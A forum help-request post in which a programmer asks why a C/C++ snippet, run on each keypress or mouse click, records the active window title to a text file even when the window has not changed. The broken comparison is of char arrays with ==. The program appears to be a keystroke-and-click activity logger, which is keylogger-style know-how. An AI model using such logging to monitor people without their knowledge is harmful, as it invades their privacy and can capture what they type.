thanks mitrmkar, that was really a help. I'm also glad that this thread is alive. I got my solution though. I used key strokes and mouse clicks to get the windows that are being used, although your method is useful too. I'll weigh in if which one will be more useful to my operation.
but another problem is here. i have this snippet in my code.
//from the top part of the code
char lastwindow[MAX_PATH];
char currentwindow[MAX_PATH];
/* this one is from the bottom, where it runs when a key or mouse button is pressed (a very common activity when using the pc) and eliminates the chance of getting hidden windows. FStrem is a text file to where it records rather than using the printf() */
HWND mainwindow;
mainwindow = GetForegroundWindow();
GetWindowText(mainwindow,currentwindow,sizeof(currentwindow));
if(lastwindow==currentwindow)
{}
else
if(lastwindow!=currentwindow)
{
strcpy (lastwindow,currentwindow);
FStream << "\n\n[" << currentwindow << "]\n\n";
}
summary is, when the active window changes, the currentwindow variable should change value, record the current active window title to a file and copy the value to the lastwindow variable. if the active window has not changed, it will do nothing and wait until mouseclicks or keypresses are done in another window for recording. But it seems that everytime i activate this part of the script, even though i did not change window, it still types in the window title, which it should not.
the values that are being recorded are window captions. is something wrong with the stored values? they seem to be the same when i try to printf them but come out different using this script.